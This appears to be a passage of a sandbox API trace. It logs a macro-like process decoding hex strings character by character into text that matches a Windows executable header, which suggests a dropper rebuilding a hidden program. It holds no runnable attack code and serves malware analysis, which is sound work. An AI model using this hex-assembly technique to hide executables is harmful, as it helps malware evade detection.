1 [0191.088] VarParseNumFromStr (in: strIn="&H73", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.088] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0191.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="s", lpUsedDefaultChar=0x0) returned 1 [0191.089] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.089] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0191.090] VarParseNumFromStr (in: strIn="&H70", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.090] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p", lpUsedDefaultChar=0x0) returned 1 [0191.091] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.091] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r", lpUsedDefaultChar=0x0) returned 1 [0191.091] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.091] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="o", lpUsedDefaultChar=0x0) returned 1 [0191.092] VarParseNumFromStr (in: strIn="&H67", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.092] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="g", lpUsedDefaultChar=0x0) returned 1 [0191.095] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.095] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r", lpUsedDefaultChar=0x0) returned 1 [0191.096] VarParseNumFromStr (in: strIn="&H61", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.096] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a", lpUsedDefaultChar=0x0) returned 1 [0191.097] VarParseNumFromStr (in: strIn="&H6D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.097] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0191.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="m", lpUsedDefaultChar=0x0) returned 1 [0191.098] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.098] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0191.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0191.099] VarParseNumFromStr (in: strIn="&H63", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.099] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0191.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c", lpUsedDefaultChar=0x0) returned 1 [0191.100] VarParseNumFromStr (in: strIn="&H61", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.100] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0191.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a", lpUsedDefaultChar=0x0) returned 1 [0191.100] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.100] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0191.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n", lpUsedDefaultChar=0x0) returned 1 [0191.101] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.101] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0191.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n", lpUsedDefaultChar=0x0) returned 1 [0191.102] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.102] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0191.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="o", lpUsedDefaultChar=0x0) returned 1 [0191.103] VarParseNumFromStr (in: strIn="&H74", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.103] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0191.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t", lpUsedDefaultChar=0x0) returned 1 [0191.104] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.104] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0191.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0191.105] VarParseNumFromStr (in: strIn="&H62", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.105] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0191.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b", lpUsedDefaultChar=0x0) returned 1 [0191.105] VarParseNumFromStr (in: strIn="&H65", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.105] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0191.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e", lpUsedDefaultChar=0x0) returned 1 [0191.106] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.106] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0191.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.107] WideCharToMultiByte (in: 